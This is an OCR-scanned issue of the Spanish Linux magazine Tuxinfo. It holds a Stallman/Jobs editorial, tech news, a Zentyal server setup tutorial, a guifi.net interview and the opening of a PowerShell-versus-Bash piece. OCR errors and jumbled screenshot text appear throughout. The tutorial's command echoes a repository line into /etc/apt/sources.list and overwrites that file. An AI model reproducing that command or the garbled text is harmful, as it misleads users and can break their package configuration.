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Ariel M. Corgatelli

Agui estamos nuevamente con otro ndmero
de Tuxinfo. Como siempre tratamos de
cubrir los temas de mayor actualidad,
excelentes informes, manuales en general.
Pero desde este lugar no queria dejar pasar
una situacion que particularmente me llamo
mucho la atencion.

Como todos ya sabran el deceso del ex
CEO de Apple, Steve Jobs, dio mucho que
hablar en el mundo, personas que quizas no
sabian de él salieron hablar, no se dej6 de
dar la noticia en un solo noticiero, pero lo
que mas llamé la atencién fueron los
comentarios de Richard Stallman en base a
esta situacion.

Muchas personas desde el mundo Apple,
criticaron las fuertes palabras de Stallman,
sin pensar realmente que él soélo habla de
sus acciones generadas en base a las
creaciones de Apple. En ningun caso hablé
especificamente de Jobs y mucho menos se
contenté con su deceso. Esto generd que
Richard nuevamente tenga que salir a
explicar sus palabras, y de alguna manera
suavizar sus palabras anteriores.

Como editor de Tuxinfo y de forma personal
creo que todo el revuelo generado por los
fanaticos de Apple, fueron reacciones
desmedidas, ya que Stallman no dijo nada

que fuera diferente a lo que expresaba
desde muchos afios atrds. Se sobreentiende
que Stallman es una persona de fuertes
ideales, los cuales hacen que desde su
mirada solo exista el blanco y el negro; sin
poder congeniar con ninguna politica
diferente a la que predica el software libre.
Puede que esté mal, o bien, pero es su
postura y debemos respetarla.

Para cambiar de tema, casi al cierre de esta
edicién nos enteramos que el mismo Mark
Shuttleworth, en una entrevista para Zdnet,
expresaba que el proximo afio tendremos
una nueva opcioén para los smartphones y
tabletas. Efectivamente se estara trabajando
en Ubuntu mdévil. Excelente noticia por
cierto.

Y para no aburrirlos mas con una extensa
“editorial’, los invito directamente a leer
nuestra revista, y a formar parte de nuestro
mapa de lectores.

Obviamente nos gustaria conocer la opinién
de nuestros lectores, para lo cual los

invitamos a que envien un correo
electrénico a nuestra editorial
info@tuxinfo.com.ar 'Y como siempre

agradecemos su preferencia por hacer clic
en la descarga, como asi también los
invitamos a leer toda la edicion.

Unete a nuestros podcast
Radio Geek

Podcast diario de actualidad tecnolégica
De lunes a jueves de 23:15 a 23:45 (hora Argentina)

http://www.ustream.tv/channel/arielmcorg (en directo)
http://bitacora.blip.tv (en diferido)

Tuxinfo podcast

Podcast semanal sobre software libre
http://blip.tv/tuxinfo-podcast

=S | wwwinio.comar
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Actualidad

Halbrd tablets y smmartphones con Ubuntu Linux
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Y el mismo Mark Shuttleworth, fue
quien lo confirmé en una entrevista
brindada a ZDnet. En donde explica
que si bien en principio no estaban
pensando en ingresar al mercado
movil; hoy dia se hace imperativo ya
gue con la gran caida de ventas de
netbooks y la mayor adopcién de

tabletas como smartphones, hizo que
reconsideraramos la opcion.

“A medida que las personas se han
trasladado desde el escritorio a
nuevas formas de computacion se

hace importante para nosotros llegar
a la comunidad en estas plataformas”,
“por lo tanto vamos a aceptar el reto

de coémo usar Ubuntu en
smartphones, tabletas y pantallas
inteligentes”

En principio Mark explic6 que primero
tiene trazado algunos planes. El
primero de ellos es conseguir una
mayor estabilidad con la préxima
version LTS (long term support)
12.04, brindar los ultimos retoques a
Unity y luego iniciar el desembarco en
smartphones y tabletas.

Sin lugar a dudas, lo que se busca es
crear un nuevo y gran competidor a

los sistemas moviles Android y iOS.

“La estrategia mas inteligente para
los fabricantes es jugar unos contra
otros. Por tanto, algunos quieren
tener Ubuntu como un elemento
perturbador”, explicaba Shuttleworth.

El anuncio se hara de forma oficial en
la conferencia de desarrolladores de
Orlando, y se habla de que el
proximo afio ya tendriamos Ubuntu
como segunda opcién disponible.

Fuente: ZDnet

(http://www.zdnet.com/blog/open-
source/ubuntu-linux-heads-to-
smartphones-tablets-and-smart-tvs/9834)

Entre nosotros: Google Chrome 15

Sinceramente una gran velocidad
tiene la gente de Chrome para lanzar
actualizaciones. Aclaro primero, que
si bien estas actualizaciones son
silenciosas (es decir se realizan sin

gue el usuario brinde conformidad) en
el caso de Linux no es asi. Ya que
para actualizarlo debemos dar
nuestro consentimiento.

Hablando especificamente de las
novedades que encontramos, si bien
en cada actualizacion hay nuevas
opciones, esta vez se hace mucho
hincapié en la correcciéon de errores,
pulido de la interfaz, mayor velocidad

de ejecucidon y soOlo se afade la
opcién “nueva pestafna”.

Nuestra recomendacion, como
siempre es decirles que actualicen si
es que no se realizd6 de forma
automatica.

Fuente: Google Chrome Blog

(http://chrome.blogspot.com/2011/10/maki
ng-chrome-even-more-app-ealing.html)

| 4 | www.uxinfo.comar



Biografia Autorizada de Steve Jobs,
revela el odio que tenia a Android

E

Si bien la biografia autorizada de
Steve Jobs saldra a la venta el
préximo lunes, ya se han conocido
algunos fragmentos interesantes de
temas puntuales como por ejemplo su
pensamiento sobre Android.

Walter Isaacson, el escritor de la
biografia es quien seguramente
conocié mas a Jobs por su trabajo.
Algunas de los fragmentos son:
“Emplearé hasta mi dltimo suspiro si

El ano enfrante

Desde The Document Foundation, se
anuncio que se esta trabajando en un
proyecto para portar la suite ofimatica
LibreOffice a las plataformas moviles
Android y iOS.

Obviamente primero estaran
disponibles en las tabletas y después
en los smartphones. Excelente noticia

por cierto.

Para quienes no conozcan sobre The
Document Foundation, les
comentamos que la misma es una
organizacion no  gubernamental
dedicada a trabajar en una suite
ofimatica libre llamada LibreOffice,
que a su vez es un fork de la tan

lo necesito, y gastaré cada centavo
de los 40.000 millones de ddlares que
Apple tiene en el banco para corregir
esto. Voy a destruir Android porque es
un producto robado. Estoy dispuesto
a ir a una guerra termonuclear por
esto”.

Ademas el libro habla de una reunién
con Schmidt, desde la cual Jobs dijo:
“No quiero tu dinero. Si me ofreces
5.000 millones de ddlares no los
quiero. Tengo un montén de dinero.
Quiero que deje de usar nuestras
ideas en Android, eso es todo lo que
quiero”.

También habl6 de su céncer de
pancreas, el cual no quiso que se
operase alla por el 2004. Tratandolo
sélo con una dieta estricta y remedios
naturales. “No queria que abrieran mi

cuerpo, no queria que me violaran de
esa forma”, y como se deben
imaginar ya en el Ultimo tiempo se
arrepentia.

Y otro punto que se muestra en el
libro es sus escasos habitos de
higiene personal, su habilidad de
mirar objetos sin pestafiear y
obviamente los ataques de soberbia.

Para los fanaticos, les comunico que
no falta mucho para la salida al
publico en general.

Fuente: Associated Press

(http://hosted.ap.org/dynamic/stories/U/U
S _TEC_STEVE_JOBS_BOOK?SITE=CA
RIE&SECTION=HOME&TEMPLATE=DEF
AULT)

LioreOffice para Android y iOS

conocida OpenOffice.

Si por esas casualidades no conocen
la suite LibreOffice, desde
Infosertec/Tuxinfo, les recomendamos
gue ingresen a su web para
descargar la versibn mas reciente, de
forma completamente gratuita y como
de costumbre disponible para Linux,
Mac y Windows.

Comunicado de Prensa:

http://blog.documentfoundation.org/20
11/10/14/libreoffice-conference-
announcements/

The Document Foundation

Y LibreOffice

www.tuxinfo.com.ar



Neftflix disponible para
tfabletas y smartphones Android

NETELIY

w Q

Genres Search

Star Trek
2009 PG-13 2hém

Netflix, Inc. (NASDAQ: NFLX)

extendié la compatibilidad con el
sistema operativo Android para
teléfonos  celulares gracias  al

lanzamiento de una nueva aplicacion
de Netflix para Android. La misma
agrega compatibilidad para tabletas
que ejecutan Android 3.x vy, por
primera vez, permite a los miembros
de Netflix en Canada y Latinoamérica
ver al instante series y peliculas
transmitidas desde Netflix en sus
smartphones y tabletas basadas en
Android.

La nueva aplicacién de Netflix para
Android agrega las tabletas basadas
en Android 3x a la lista de
dispositivos Android compatibles con
Netflix en los Estados Unidos y
aumenta considerablemente la
cantidad de dispositivos compatibles
con Netflix en Canada vy
Latinoamérica. Los miembros de
Netflix pueden acceder al servicio en
sus dispositivos Android instalando la
version 1.5 de la aplicacion de Netflix,
disponible como descarga gratuita en
Android Market.

Los smartphones basados en Android
se estan volviendo populares con
rapidez. La firma de analistas Gartner
Inc. espera que Android constituya el
49% del mercado de smartphones en
2012. Las tabletas basadas en
Android son parte de una categoria
nueva, pero de rapido crecimiento.

Netflix es el servicio lider mundial de
suscripcion por Internet para disfrutar
de peliculas y series. Los miembros
de Netflix pueden ver al instante
y peliculas de manera
ilimitada, transmitidas por Internet a
diversos dispositivos, incluidos PC,
Mac, televisores conectados a
Internet, consolas de juegos,
reproductores de discos Blu-ray y
dispositivos méviles. En total, mas de
700 dispositivos que transmiten
desde Netflix estan disponibles en los
EE. UU., y un ndmero creciente esta
disponible en Canada y
Latinoamérica.

series

Fallece el padre del lenguagje C y de Unix,

Seguramente no sera tan recordado
como Steve Jobs, pero puedo
asegurar que fue una de las mentes
mas brillantes que pudimos tener.

Dennis Ritchie

Dennis Ritchie, nacido en Bronxville
(Nueva York) alla por 1941; fue el
creador del lenguaje de programacién
C (1973) y junto a Ken Thompson
desarroll6 el sistema operativo Unix,
cuya primera version fue lanzada en
1971.

La noticia fue informada por un
comentario ingresado en la red social
Google+ por Robert Pike: “Acabo de
enterarme de que tras una larga

enfermedad, Dennis Ritchie (dmr) ha
muerto en su casa este fin de
semana’.

Afiade luego que Ritchie “era un
hombre tranquilo y celoso de su
privacidad” y ademas confia en que
“habra gente que apreciara el alcance
de sus contribuciones y sentird su
partida” ya que “el mundo ha perdido
a una mente realmente grandiosa”.

| 6 | www.tuinfo.comar
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Security

. Communications

¢Qué es Zentyal?

Como administradores de sistemas,
cada cierto tiempo nos toca instalar
un nuevo servidor para una pequefa
red. Y en cada ocasion volviamos al
punto: ¢y ahora cémo
hacemos para dar permisos SAMBA a
unos usuarios y a otros no?, ¢y como
configuramos el servidor DHCP para
que se integre bien con el DNS
local?. Lo que es una fortaleza se
convertia en debilidad: los sistemas
GNU/Linux disponen de multitud de
opciones para ofrecer un servicio, y
es precisamente esa variedad la que
nos hacia dudar. El resultado eran
demasiadas horas luchando con
ficheros de configuracion con sintaxis
parecida pero diferente y realmente
nunca acababas satisfecho del todo
con la configuracion, bien porque no
tenias tiempo para dedicar a lo que el
servicio reclamaba o bien porque no
quedaba lo suficientemente fina la
configuracion.

mismo

La realidad diaria nos dice que el 90%
de las situaciones que se dan en
PYyMES a nivel de necesidad de
servicios y configuraciones es la
misma. ¢Por qué entonces realizar
instalaciones artesanales y reinventar
la rueda?. Debe de haber alguna
manera de "automatizar" todo esto...

iY vaya que si lo hay!. Gracias a

Zentyal podemos simplificar nuestro
trabajo, tener una interfaz Unica de
administracion 'y  establecer un
entorno estable sobre el que
desarrollar procedimientos de
despliegue de servicios y planes de
mantenimiento.

Zentyal

Zentyal es un paquete de software
que se monta sobre un servidor
GNU/Linux disefiado para pequefias y
medianas empresas. Se caracteriza
por facilitar la gestion de los servicios
de red mas habituales de una forma
comoda y sencilla. Zentyal tiene una
interfaz web sobre Ubuntu Server, y
permite a través de dicha interfaz
configurar los distintos servicios,
adaptando los ficheros de
configuracién para que todo funcione
como la seda. Los servicios que
ofrece Zentyal se ejecutan con
software muy conocido en el mundo
GNU/Linux, como por ejemplo Bind
para ofrecer DNS, Samba para
interconectar con redes Microsoft
Windows, etc. Zentyal ofrece para
todo este software una interfaz de
administracion unica.

Zentyal divide los servicios en varios
grupos: Zentyal Gateway, UTM,
Infraestructura, Oficina y
Comunicacién unificada. Dentro de
estos grupos, se encuentran servicios

Servidor para Pymes

- /Zentyal

POR IGNACIO HUERTA e IBON CASTILLA

como Cortafuegos, Usuarios vy
grupos, Mensajeria  Instantanea,
Correo electrénico, DHCP, DNS, NTP,
Samba, QoS, OpenVPN, Proxy
cache, etc.

Aungue existen otros proyectos como
Webmin, en nuestra opinién Zentyal
resulta una interfaz  mucho mas
simple y focalizada en servicios muy
concretos. Esta disefiada para ayudar
al responsable de la red a configurar
servidores de forma rapida, incluso
para que personal de la propia
entidad en la que se implanta pueda
administrar  minimamente
aspectos de su infraestructura, como
por ejemplo decidir qué usuarios
acceden a qué recursos y con qué
permisos. Este aspecto es
fundamental a la hora de conceder
acceso al personal de una empresa

ciertos

que no tiene conocimientos de
administracion de sistemas
informéticos, pero si la habilidad

suficiente como para manejar una
interfaz sencilla de administracion de
algunos servicios. Zentyal ademas

estdi mas enfocada al mundo
empresarial, con servicios por
ejemplo de formacién, planes de

mantenimiento y subscripciones a
paquetes de actualizaciones.

El proyecto Zentyal nace en 2004
desde una empresa de Zaragoza con
el nombre inicial de eBox. En 2010

| 8 | www.tuxinfo.comar



deciden cambiarle el nombre a
Zentyal, coincidiendo con la salida de
Ubuntu 10.04 LTS. Su modelo de
negocio se basa en la formacion vy el
soporte técnico, poniendo a
disposicion del publico descargas y
repositorios. Hoy en dia funciona de
forma estable, y representa una gran
alternativa libre a otras plataformas
como Microsoft Windows Server.

Instalaciéon

Podemos de dos

maneras:

instalar Zentyal

* Podemos primero instalar Ubuntu
Server 10.04 LTS, y después utilizar
el repositorio de paquetes de Zentyal.
Para ello debemos afadir dicho
repositorio al sistema de paqueteria
de Ubuntu mediante estos comandos:

sudo echo "deb
http://ppa.launchpad.net/zentya
1/2.0/ubuntu lucid main" >
/etc/apt/sources.list

sudo aptitude update

sudo aptitude install zentyal

* O podemos descargarnos la 1SO
autoinstalable desde
http://www.zentyal.org/downloads/
(esta ISO es una Ubuntu Server
10.04 LTS con mas paqueteria
proporcionada por Zentyal), y luego
instalar dicha imagen. El proceso de
instalacién es el habitual de Ubuntu
Server, complementado por la
configuracién propia de Zentyal.

Zentyal tiene estructura modular, por
lo que no hace falta instalar todo el
software desde el principio. Se puede
empezar con lo  bésico, vy
posteriormente ir afiadiendo mddulos
a medida que se van necesitando.
Aparte de los paquetes individuales
para cada servicio, la gente de
Zentyal nos facilita la vida a través de

varios metapaquetes, que coinciden
con los grupos que comentabamos
anteriormente: zentyal-office, zentyal-
communication, zentyal-security,
zentyal-gateway, zentyal-
infrastructure, y también uno para
instalar todo el software de Zentyal de
golpe: zentyal-all.

Una vez instalado a través de
cualquiera de los métodos, y con la
paqueteria minima ya en nuestro
sistema, podemos acceder a la
interfaz web de administracion. Como
es web, basta abrir nuestro
navegador y acceder a la IP de
nuestro servidor a través del puerto

iManos a la obra!

A modo de ejemplo vamos a
configurar algunos servicios de red
con Zentyal. Vamos a configurar un
DHCP y un DNS, dos servicios muy
comunes en cualquier red y que nos
permitirdn evaluar las capacidades de
Zentyal.

Asignacion de IPs: DHCP

* Activamos el moédulo DHCP en el
apartado de gestién de modulos:

{zentyal

, Module Status Configural

443 (HTTPS):
https://X XX XXX XXX XXX/, El HashEEsTY l
. ~ .. Module Status Network
usuario y contrasefia que nos solicita i
. ystem Firewall
Zentyal es el mismo que el del —
. . . . DHCP
servidor, son usuarios del sistema Objects
Ubuntu Services DNS
Logs
Events
Events
Software Management Lt
f\ Username: | robok S ievail a2
\, Password: |esssssss VPN VPN
Zentyal
Users and Groups
DHCP
DNS Jabber
Zentval ereated by eBox Technologies S.L. Certification Authority —
Users and Groups User Corner
* Configuramos la interfaz de red que
va a servir el DHCP. Es interesante
destacar que Zentyal permite servir
diferentes instancias DHCP a
distintas redes por diferentes tarjetas
de red:
S zentyal
i Network Interfaces (show heip)
etho ethl eth2 vboxnetd
Dashboard
Module Status Name: [etnz Urilizamos direccionamiento esrafico
Network External (WAN): [~
DNS 14 address: .
————— 1 <*—_____Asignamos una IP del rango que se

DynDNS Netmask: | 255 255.255.0 2|

Gateways

Static Routes

Balance Traffic

servira por DHCP

— Guardamos los cambios

WAN Failover ‘

Diagnostic Tools

Objects

| 255.255.255.0 = =]

| 9 | www.uxinfo.comar
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O zentyal

* Como veiamos en la imagen
anterior, una vez configuradas las
opciones del servicio, podemos ya

| DHCP (show heip) Elegimos la interfaz que hemos
s Service configuration /preparado anteriormente anadll’ un rango de IPS
Dashboard
Moduic Status Choose a static interface to configure: |
System Common options || Dynamic DNS Options || Advanced options | PONE@MOS como puerta de enlace Elegimos el rango (IPs inicio y final
iy —— / a Zentyal para todos los clientes . ;
Obiects neramtuatewavm:] del rango) y el resultado final seria
Siivices - - ettt gateway will set the interface IP address as gateway .
ioia Search damain: | none S Los dominios de momenfo los dejamos algo como esto: (Imagen 2)
h leciad doroaio il o your clients those DNS queries which are not fully qualified

Events primary nameserver: {ycne ¢ esacfivados. IqDespués lo conﬁqguraremos
Software Management If "Zentyal DNS" is present and selected, the Zentyal server will act as cache DNS server * ,ree ~ .

secontry ramesever RG] Podemos dejar un DNS secundario Por dltimo, afiadiremos IPs
Firewall . smer;m ya configurado, por &j. el de Google estaticas a ciertos clientes. Esto es
VPN - entyal Is presentgnd selected, Zentyal will be the NTP server for DHCP clients L, .
WLNSsewer:!ﬁ \INSi dreneﬂ"!O”SLNTP”NaSCHVO rag}?égi?’n algO muy praCtICO, ya que nos

f "Zentyal Samba" is present and sW™ected, Zentyal will be the W server for clients . . . .

oNs podemos darselo a nuestros clientes permite combinar dos situaciones
Certification Authority L, H Hp
—— R e e muy habituales con un solo servicio,
{ismruamel Grops Interface [P address: 192.165.5.200 por un lado asignar IPs dindmicas a

User Corner Subnet:192.168.8.0/24

clientes  esporadicos  (portétiles,

File Sharing Available range: 192.168.8.1 - 192.168.8.254 = N
s Afiadimos un nuevo rango de

e o / AP clientes wifi, etc) y por otro tener con

IPs fijas algunos equipos para poder
darles soporte, 0 para que
simplemente sirvan otros servicios.
Para tener asignacion de IPs fijas,
- utilizaremos una funcionalidad muy
s interesante de Zentyal: los Objetos.
(Imagen 3)

Imagen 1

[ | | Search |

Name From To Action

dinamico 192.168.8.60 192.168.8.90 WS

= * Los Objetos son conjuntos de
102 Page1 LJLAJLM]IM . . e
i equipos identificados por un nombre.
0 Only those ohject members whose IP address is a host (/32), a valid MAC, the IP address Is not used by the available range and Creamos un nuevo Objeto (Ie
whose name is unique as fixed address will be used. Members whose name is not a valid hostname will not be used. ) )
asignamos un nombre, por ejemplo
Equipos oficina) y seguidamente
afladimos nuevo Miembro a ese
Objeto.

Imagen 2

Gzentyal [

'Y Objects I(show help

Cada Miembro es un equipo,

: Objects List identificado por un nombre, una IP (la
Dashboard A .
Madule Status gue queremos gue tenga ese equipo)
\ | (_searen | . .,
B / y su direccion MAC (que habremos
Network Name Members | Action ) .
Objects T B recopilado anteriormente). Una vez
semmest Clientes Wi ws creado el objeto, podremos volver a
Logs &
events = i la configuracién del DHCP y crear un
.. fixed-addresses-eth2 7] W L. .
: NI By 3 T grupo de IPs estéticas:
Imagen 3 Fixed addresses
C'.:'.J Add new

* Nos vamos al servicio DHCP vy El resto de pestafias del servicio
elegimos la tarjeta de red que permite configurar varias opciones,
acabamos de  preparar, para como el tiempo de préstamo de IP, e
configurar las opciones del servicio. incluso opciones para un servicio
Podemos configurar muchas PXE.

opciones (Imagen 1)

* Elegimos el Objeto creado
anteriormente afiadiendo una
pequefia descripcion:

10 [ vwiniocomar




Description:
Optional

[ Add | [ cancel |

* Y este seria el resultado final:
(Imagen 4)

* Tras realizar estos pasos s6lo nos
queda guardar los cambios.

Save changes

Servidor de nombres: DNS

* Activamos el modulo DNS en el
apartado de gestion de médulos:

\ Module Status C

Module Status Network
T Firewall
Network

DHCP
Objects
Services DNS
Logs

Events
Events

Software Management Loy

NTP
Firewall

VPN VPN

Users and Groups
DHCP

nNS labber

* ARadimos un nuevo dominio, como
por ejemplo midominio.intranet, de
manera que los clientes después
tengan la forma
clientel.midominio.intranet:

2ntyal |

. DNS

Domain: |
atus

IP Address: |
Optional

* Seguidamente afiadimos nuevos
clientes al recién creado dominio,
dando un nombre Unico y una IP
Unica.

Seria muy interesante que los clientes
se pudiesen importar desde el objeto
que hemos creado anteriormente,
para no tener que duplicar el dato de
la IP en dos lugares, pero seguro que
la gente de Zentyal esta en ello, y si
no, jhazles una propuesta! :)

Host name:

IP Address: |

| Add || Cancel |

* Tenemos la posibilidad de afiadir
uno o varios alias a cada cliente:

| Search |

Clientes ZG

Clientes de Zentzumen it #

Imagen 4

Default gateway:: Zentyal -

Setting "Ze

Search domain:

| Zentyal domain 2 | | dark.intranet

Primary nameser\rer:l local Zentyal DNS  * |

"Zentyal DM5" is preser

it and

Imagen 5

Alias:

[ Add | [ cancel |

* Debemos recordar que
anteriormente el DHCP se ha
quedado sin configurar el DNS. Ahora
que tenemos nuestro dominio creado,
ya podemos terminar de configurar
esa parte. Volvemos a la seccién de
DHCP y activamos el DNS (Imagen
5)

Importante, jpulsar en Guardar!, ya
que sino los cambios no se
efectuaran, y nos tiraremos un rato
tratando de localizar por qué no
resuelven DNS nuestros clientes ;) Ya
tenemos nuestros dos
configurados y funcionando.

servicios

Esta experiencia con dos de los
servicios que ofrece Zentyal sdélo es
un pequefio aperitivo de todo lo que
esconde. Esperamos hayais
disfrutado con toda esta informacién
y 0s animamos a probar mas
servicios y finalmente a utilizar
Zentyal como solucion en vuestros
servidores. Es una solucién Software
Libre, y por si esto no bastase es
estable, madura y profesional. Salud

Documentacion y referencias

* http://www.zentyal.com/es/: Informacién
sobre Zentyal y todos sus modulos.

* http://doc.zentyal.org/es/: Manual oficial
en castellano.

* http://forum.zentyal.org/: Foros de
Zentyal, un buen lugar en el que obtener
ayuda.

@®® UnoyCero

Ignacio Huerta e Ibon Castilla
tecnicos@unoycero.com
http://www.unoycero.com
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imagen tomada de http://roure.act.uji.es

Tras el andlisis del concepto de Red
Abierta y sus implicaciones y la

presentacion  del proyecto  de
iniciativa ciudadana guifi.net de la
edicion pasada de Tuxinfo, en este
numero entrevistamos a Ramon
Roca i Ti6 y a Lluis Dalmau i
Junyent, iniciadores del proyecto y
actualmente Presidente y Secretario
de la Fundacié Privada per a la
Xarxa Oberta,
guifi.net (Fundacién Privada para la
Red Abierta, Libre y Neutral guifi.net)
respectivamente.

Lliure i Neutral

¢COmo se podria definir guifi.net
para alguien que no lo conozca?

Lluis Dalmau: Es una red
ciudadana de telecomunicaciones,
abierta, libre y neutral formada a
partir de la implicacion de las
personas usuarias de la red que
construyen tramos de redes de
telecomunicaciones, reteniendo la
titularidad de las infraestructuras y
operandolas en formato abierto y
neutral e interconectandolas todas
ellas, creando asi una gran red
comun.

¢Como surgio guifi.net? ¢Qué fue
lo que os movié a crearla?

LD: guifi.net surgié a partir de la

coordinacion de un grupo de
personas interesadas en desplegar
una red de radio-enlaces para
formar una red de
Este grupo
estaba formado por personas de
diferentes edades,
poblaciones y con diferentes niveles
de conocimiento de la tecnologia,
pero con motivacién y ganas de
hacer un proyecto que no pensase
en clave local sino global y que no
estuviese ligado a ningln territorio.

telecomunicaciones.

de diferentes

Ramon Roca: La motivacion era
diversa: falta de oferta comercial, su
coste o el querer obtener
alternativas para el acceso a
Internet, asi como la inquietud para
buscar nuevas oportunidades vy
soluciones para favorecer la
capacidad de conexion propia, de
ciudadanos y de empresas mediante
la creacion un sistema facilmente
replicable en cualquier zona.

¢Cual es la actual implantacion de
guifi.net en Cataluia?

RR: Aunque alcanza un territorio
bastante amplio, no alcanza aun en
su integridad. Actualmente ya esta
fuertemente desarrollado en las
comarcas centrales, donde ya se

superan los 12.000 nodos

guifi.net

Entrevistamos a sus iniciadores:

Ramon Rocay Lluis Dalmau

POR ROGER BAIG VINAS
y JORGE CACHO HERNANDEZ

operativos. La forma de crecer de
guifi.net es orgénica, y tipicamente
se expande en forma de "mancha
de aceite", es decir, se va ampliando
por los extremos, pero también van
apareciendo islas de red que
tienden a crecer para unirse entre
ellas.

¢Y fuera de Cataluina?

LD: En la peninsula ibérica hay
diversos focos en gestacion, en
algunas nivel de
crecimiento es muy elevado como
en la zona de Castellon, donde el
efecto de la "mancha de aceite" se
observa claramente y se va
extendiendo por la zona este de la
peninsula.

zonas el

¢Es guifi.net un proyecto sélo
para entornos rurales o es
también aplicable a entornos
urbanos?

RR: Es para cualquier entorno.

LD: Existe en zonas urbanas,
rurales e industriales, conectando
particulares,
administraciones,
etc.

empresas,
universidades,

12 | i comar—



imagen tomada de bicubik.net

cguifi.net aspira a sustituir a la

Internet actual o a
complementarla?

RR: El objetivo no es sustituir a
Internet, sino impedir que Internet
guede cautiva de unos pocos
grandes operadores globales que se
rigen Unicamente por criterios
comerciales y se aduefien de ella.
Es bueno que existan alternativas, y
mantener el caracter original de una
red abierta y disponible al publico.
En resumen, no  queremos
sustituirla, sino  defenderla de
algunas de sus amenazas, mantener
su espiritu inicial, y extenderla a
todos.

LD: guifi.net, con la implantacion de
la red abierta y neutral, favorece la
competencia que va a favor de los
operadores de telecomunicaciones
pequefios y grandes, Yy la
competitividad favorece
directamente a las personas
red y a la
competitividad de las empresas, ya
que tienen mas y mejores
oportunidades de acceso a las redes

usuarias de la

de telecomunicaciones.

¢ Qué tiene que hacer una persona
para unirse a la red de guifi.net?

RR: Decir donde esta, decidir como
se conecta, y hacerlo. Hay una
aplicacion web en modo autoservicio
gue le asiste.

LD: En castellano en
http://guifi.net/trespasos

¢Es necesario tener un nodo
cercano?

RR: Bueno, es lo ideal, se hace para
ir creando red conectando unos con
otros, aunque siempre hay un nodo
que es el primero en cualquier zona

nueva. En el caso de nodos
inalambricos, requiere linea de
vision.

¢Cudl es el coste de montar un

nodo guifi.net? ¢Qué
conocimientos técnicos se
necesitan?

RR: Un nodo simple puede costar

menos de 100€, y un usuario puede
armarlo por si mismo si pone de su
parte. Lo ideal es complementar eso
con servicios profesionales, es decir,
que los usuarios puedan, si lo
prefieren, acudir a una tienda o un
profesional que se lo monte a
cambio de una compensacion ya
que no a todo el mundo le apetecera
hacérselo por si mismo.

¢Como ve la Administracion
Publica a guifi.net?

RR: Hay de todo. Las pequefias y
méas proximas a la ciudadania tan
pronto constatan su practica tienden
rapidamente a colaborar. A las
mayores les cuesta mas ya sea
porque rompe con las practicas
tradicionales, o porque les causan
un conflicto de interés en las
relaciones que han desarrollado con
grandes operadores.

LD: Relaciones que muchas veces
no han evolucionado
suficientemente a partir de las
heredadas de la situacion anterior a
la liberalizacion del mercado de las
telecomunicaciones o inducidas por
las grandes operadoras tendiendo a

la monopolizacion de
infraestructuras, muchas veces
publicas.

¢Cuales son los objetivos de
guifi.net en el medio y largo
plazo?

RR: A medio, conseguir un
crecimiento sostenido y sostenible,
casi mecanico y automatico, que
siga expandiendo la red abierta. A
largo, que la red abierta sea lo que
permita por fin Internet para todos,
que la alternativa exista en todas
partes.
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¢Por qué una Fundacion?

RR: Al ser una iniciativa ciudadana
gque no es otra cosa que la
agregacion de mudltiples iniciativas
aisladas (la de cada uno), y con el
objeto de estar en igualdad de
condiciones  respecto a los
operadores tradicionales, se
necesita una entidad juridica que
adquiera la condicion de operador
global desde un punto de vista
juridico.

Por lo demas, es una institucién mas
para apoyar a la red abierta y libre.

imagen tomada de http:/llicamunt.wordpress.com

LD: En 2008 se cred la Fundacion
con el objeto de dotar al proyecto
con una entidad juridica que le da
soporte para estar en igualdad de
condiciones respecto a los
operadores tradicionales, ya que las
normativas europeas y nacionales
requieren de la disposicion de una
entidad juridica que adquiera la
condicién de operador de
telecomunicaciones global desde un
punto de vista juridico. La
Fundacion es una institucion mas

Como uiizan guifiast Descutrs s ol para apoyar a la red abierta, libre y
polommrmte, g, g " neutral. Una entidad que se creé a
— partir de la aportacion de las

T T personas que forman parte del

4Qué o5 1 Fundacitn? © proyecto ciudadano guifi.net

Hazte amigo! ©
Hazfe voluntario! &

(Qué es Experiencias

quifi.net? jParticipal e

| 1 4261 nodos activos

| © 15965 enlaces

© 233868 kilémetros de enlaces lotales
| © 174 nodos creados la ulima semana

© 42 nodos pasados a operativos [a Gilima semana

. s— . Roger Baig Viias
‘ ‘ e roger.baig@gmail.com
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Cuando hablamos de la “guerra” que
hay entre los seguidores de Windows
y los de Linux, siempre sale a relucir
el potencial que tiene Windows para
los juegos... jclaro! Los juegos son
cosa importante para todo
administrador de una Red (ironia), y
por supuesto, la seguridad de una red
y la potencia de un Sistema Operativo
se mide en base a la cantidad de
juegos que podemos ejecutar en una
computadora/servidor.

¢Pero qué pasa cuando realmente
queremos comparar funcionalidad
entre ambos sistemas? Pocas veces,
0 ninguna vez, podras leer o escuchar
algo como lo que estoy por ofrecerte,
no porque las escuelas sean malas, o

los maestros no tengan
conocimientos (no sé si los tienen o
no), pero normalmente en las

escuelas y obvio en Internet, no
encontraras informacion como la que
sigue. Voy a darte una comparacion
del poder que ambos Sistemas
pueden llegar a tener, 0 no tener,
gracias “shells”. Hablaré
entonces de Windows PowerShell,
GNU Shell y BASH (técnicamente son
dos y no tres, tomando en cuenta que
GNU Shell esta basado en el Bash de
Unix, pero digamos que son tres).

a sus

Windows PowerShell

Citando las palabras de los de

Redmond “Windows PowerShell es
un complemento gratuito para
Windows XP y superior” que se
puede descargar desde
http://www.microsoft.com/powershell.

Si queremos hablar del “propésito”
para el cual fue hecho este
complemento, podemos decir, y cito a
nuestra amiga la Wikipedia, “esta
diseflada para su uso por parte de
administradores de sistemas, con el
propdsito de automatizar tareas o
realizarlas de forma mas controlada”,
ni mas ni menos.

Ahora bien, primero y como ya lo
resalté, PowerShell es un
complemento, no viene por omision
instalado con los sistemas de
Microsoft. Segundo, para tenerlo
instalado necesitamos ademas
instalar .NET Framework 2.0, que si
no lo tenemos instalado, tendremos
que descargarlo por separado (no, no
lo trae incluido el Windows
PowerShell).

Pero eso no es todo queridos
lectores, a Microsoft le gusta
ponernos las cosas dificiles (¢no que
muy user friendly?), y para variar,
tenemos que tener en consideracion
algunas cosas antes de instalar
Windows PowerShell:

- Existe una version diferente de

Linux vs Windows,
INnferpretando

comandos

POR RAFAEL MURILLO

Windows PowerShell por cada

version del Sistema Windows

- Debemos de tomar en cuenta, que

ademas de que existe una version
por cada Sistema
Windows, también existe una version
para los Windows de 32 bits y otra
para los de 64 bits... jojo con eso!

version de

Y una vez que lo instalamos,
Windows PowerShell aparecera en el
Menu Inicio y sera accesible dando
clic en el acceso directo o mediante
la instruccion “PowerShell” dentro del
cuadro de didlogo de Ejecutar.

Ya cuando estamos dentro de la
aplicacion, notamos en seguida una
“dolencia”’... no tenemos la opcién de
“copiar” ni la de “pegar’con el
teclado... para eso tendremos que
hacer un proceso un poco tardado,
como es, seleccionar el texto, clic
